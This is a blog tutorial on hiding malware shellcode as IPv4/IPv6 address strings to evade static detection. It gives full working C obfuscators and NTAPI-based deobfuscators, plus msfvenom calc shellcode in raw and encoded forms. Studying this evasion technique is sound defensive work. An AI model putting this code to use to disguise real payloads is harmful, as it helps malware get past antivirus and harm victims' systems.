Malware Obfuscation: IPv4/IPv6
What is Obfuscation?
Malware is one of the most potent and persistent threats in the world of technology. To evade detection and analysis, malware developers often employ various techniques to conceal their malicious code and behavior. One of these techniques is payload obfuscation, which involves transforming the payload into a form that is not easily recognizable by static analysis tools. Payload obfuscation can be achieved by using different encodings, packers, steganography, or custom algorithms. Another technique is payload encryption, which scrambles the payload using a key, making it unreadable without the proper decryption. By combining both techniques, the payload becomes more difficult to understand and recover. In this blog, I will explore the concept and methods of payload obfuscation, and how it differs from payload encryption, another common technique to protect malware from prying eyes. By understanding how payload obfuscation works, we can better defend ourselves against the evolving malware landscape.
IPv4/IPv6Fuscation
In this blog I will cover a unique technique I learned going through one of my malware development courses. It involves turning the malicious data into Internet Protocol (IP) values. IPv4/IPv6Fuscation is a way to hide the shellcode’s bytes by turning them into IPv4 or IPv6 strings. Let’s look at some bytes from the Msfvenom x64 calc shellcode and see how they can be changed into either IPv4 or IPv6 strings.
IPv4Fuscation
In IPv4Fuscation, each byte of the shellcode corresponds to an octet in the resulting IPv4 string. For instance, by converting hex bytes FC, 48, 83, and E4 to decimal format, we obtain the IPv4 string 252.72.131.228. The implementation involves a function, GenerateIpv4, which takes four shellcode bytes and transforms them into an IPv4 string.
Below is the code used to obfuscate any given input, assuming it is an array of bytes:
#include <Windows.h>
#include <stdio.h>
// Disable error 4996 (caused by sprintf)
#pragma warning(disable: 4996)
// Function takes in 4 raw bytes and returns them in an IPv4 string format
char* GenerateIpv4(int a, int b, int c, int d) {
// The buffer to store the resulting IPv4 address string
unsigned char Output[32];
// Creating the IPv4 address and saving it to the 'Output' variable
sprintf(Output, "%d.%d.%d.%d", a, b, c, d);
// Optional: Print the 'Output' variable to the console
// printf("[i] Output: %s\n", Output);
// Returning the IPv4 address as a string
return (char*)Output;
}
// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 4, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0) {
return FALSE;
}
// Print the start of the array declaration
printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));
// We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
// The variable 'c' is used to store the number of bytes read. By default, starts at 4.
int c = 4, counter = 0;
char* IP = NULL;
// Loop through the shellcode bytes
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
if (c == 4) {
counter++;
// Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);
// Check if it's the last set of 4 bytes
if (i == ShellcodeSize - 4) {
// Printing the last IPv4 address
printf("\"%s\"", IP);
break;
}
else {
// Printing the IPv4 address
printf("\"%s\", ", IP);
}
// Resetting the byte counter
c = 1;
// Optional: To beautify the output on the console
if (counter % 8 == 0) {
printf("\n\t");
}
}
else {
// Incrementing the byte counter
c++;
}
}
// Print the end of the array declaration
printf("\n};\n\n");
// Return TRUE to indicate successful execution
return TRUE;
}
// x64 calc metasploit shellcode {272 bytes} generated with msfvenom
unsigned char rawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
// Generate and print the IPv4 representation of the provided shellcode
if (!GenerateIpv4Output(rawData, sizeof(rawData))) {
return -1;
}
// Pause to view the result
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
As always, I have done my best to add comments in the code above explaining what each function is doing.
Output:
IPv6Fuscation
IPv6Fuscation, similar to IPv4Fuscation, transforms shellcode bytes into an IPv6 string. However, in this case, 16 bytes generate one IPv6 address. The conversion process doesn't require decimal format, offering flexibility. For example, the sample shellcode FC48:83E4:F0E8:C000:0000:4151:4150:5251 showcases the transformation. The implementation employs the GenerateIpv6 function, converting 16 shellcode bytes into an IPv6 address.
Below is the code used to obfuscate any given input, assuming it is an array of bytes (I have added comments explaining the functions, which are similar to the IPv4 method):
#include <Windows.h>
#include <stdio.h>
// Disable error 4996 (caused by sprintf)
#pragma warning(disable: 4996)
// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// Each IPv6 segment is 32 bytes
char Output0[32], Output1[32], Output2[32], Output3[32];
// There are 4 segments in an IPv6 (32 * 4 = 128)
char result[128];
// Generating output0 using the first 4 bytes
sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);
// Generating output1 using the second 4 bytes
sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);
// Generating output2 using the third 4 bytes
sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);
// Generating output3 using the last 4 bytes
sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);
// Combining Output0,1,2,3 to generate the IPv6 address
sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);
// Optional: Print the 'result' variable to the console
// printf("[i] result: %s\n", (char*)result);
// Returning the IPv6 address as a string
return (char*)result;
}
// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 16, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
return FALSE;
}
// Print the start of the array declaration
printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));
// We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
int c = 16, counter = 0;
char* IP = NULL;
// Loop through the shellcode bytes
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
if (c == 16) {
counter++;
// Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
IP = GenerateIpv6(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
// Check if it's the last set of 16 bytes
if (i == ShellcodeSize - 16) {
// Printing the last IPv6 address
printf("\"%s\"", IP);
break;
}
else {
// Printing the IPv6 address
printf("\"%s\", ", IP);
}
// Resetting the byte counter
c = 1;
// Optional: To beautify the output on the console
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
// Incrementing the byte counter
c++;
}
}
// Print the end of the array declaration
printf("\n};\n\n");
// Return TRUE to indicate successful execution
return TRUE;
}
// x64 calc Msfvenom shellcode {272 bytes}
unsigned char rawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
// Generate and print the IPv6 representation of the provided shellcode
if (!GenerateIpv6Output(rawData, sizeof(rawData))) {
// if failed, that is sizeof(rawData) isn't a multiple of 16
return -1;
}
// Pause to view the result
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Output:
Deobfuscation Process
Once the obfuscated payload bypasses static detection, the deobfuscation process is crucial for execution. IPv4/IPv6Fuscation deobfuscation involves utilizing NTAPI functions, specifically RtlIpv4StringToAddressA and RtlIpv6StringToAddressA. These functions convert string representations of IP addresses back into binary format. To put it in laymans terms, deobfuscation will convert our payload back to its original state so that it may run without errors. The steps are as follows: Obfuscate the payload > Bypass static detection > Deobfuscate the payload > Execute the payload > Kaboom.
Deobfuscating IPv4Fuscation Payloads
The Ipv4Deobfuscation function reverses the IPv4Fuscation process, converting IPv4 strings back into bytes. It utilizes the RtlIpv4StringToAddressA function and allocates memory for the deobfuscated payload. The result is a binary representation ready for execution.
Code snippet:
#include <Windows.h>
#include <stdio.h>
// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv4stringtoaddressa
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
PCSTR S,
BOOLEAN Strict,
PCSTR* Terminator,
PVOID Addr
);
// Function that will IPv4 deobfuscate the payload
BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv4StringToAddressA address from ntdll.dll
fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
if (pRtlIpv4StringToAddressA == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
sBuffSize = NmbrOfElements * 4;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// Loop through all the IPv4 addresses saved in Ipv4Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv4 address at a time
// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
return FALSE;
}
// 4 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 4);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
char* Ipv4Array[] = {
"252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82",
"32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237",
"82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136", "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68",
"139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193",
"56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73",
"1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", "255.224.88.65",
"89.90.72.139", "18.233.87.255", "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0", "65.186.49.139",
"111.135.255.213", "187.224.29.42", "10.65.186.166", "149.189.157.255", "213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71",
"19.114.111.106", "0.89.65.137", "218.255.213.99", "97.108.99.0"
};
#define NumberOfElements 68
int main() {
PBYTE pDAddress = NULL;
SIZE_T sDSize = NULL;
if (!Ipv4Deobfuscation(Ipv4Array, NumberOfElements, &pDAddress, &sDSize))
return -1;
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
for (size_t i = 0; i < sDSize; i++){
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDAddress[i]);
}
HeapFree(GetProcessHeap(), 0, pDAddress);
printf("\n\n[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
As mentioned above, the input/payload that you would have provided from running the Ipv4fuscation should be the resulting output from the deobfuscation program.
Output:
Deobfuscating IPv6Fuscation Payloads
Similarly, the Ipv6Deobfuscation function handles the deobfuscation of IPv6Fuscation payloads. It employs the RtlIpv6StringToAddressA function, ensuring each IPv6 address is transformed into 16 bytes for execution.
Code snippet:
#include <Windows.h>
#include <stdio.h>
// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressa
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
PCSTR S,
PCSTR* Terminator,
PVOID Addr
);
// Function that will deobfuscate the IPv6 payload
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv6StringToAddressA address from ntdll.dll
fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
if (pRtlIpv6StringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv6 addresses * 16
sBuffSize = NmbrOfElements * 16;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// Loop through all the IPv6 addresses saved in Ipv6Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv6 address at a time
// Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
return FALSE;
}
// 16 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
char* Ipv6Array[] = {
"FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
"8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
"D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
};
#define NumberOfElements 17
int main() {
PBYTE pDAddress = NULL;
SIZE_T sDSize = NULL;
if (!Ipv6Deobfuscation(Ipv6Array, NumberOfElements, &pDAddress, &sDSize))
return -1;
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
for (size_t i = 0; i < sDSize; i++) {
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDAddress[i]);
}
HeapFree(GetProcessHeap(), 0, pDAddress);
printf("\n\n[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Output:
And Voila. We're done!
Wrapping things up
This shallow dive into Payload Obfuscation, specifically IPv4/IPv6Fuscation, unveils a powerful technique employed by malware developers. Understanding the conversion processes and deobfuscation steps is crucial for cybersecurity professionals in the ongoing battle against evolving threats. In future blogs I hope to go more in depth on obfuscation and deobfuscation methods. In the mean time, make sure to stay curious, stay safe, but more importantly, stay dangerous in the not-so-safe digital universe.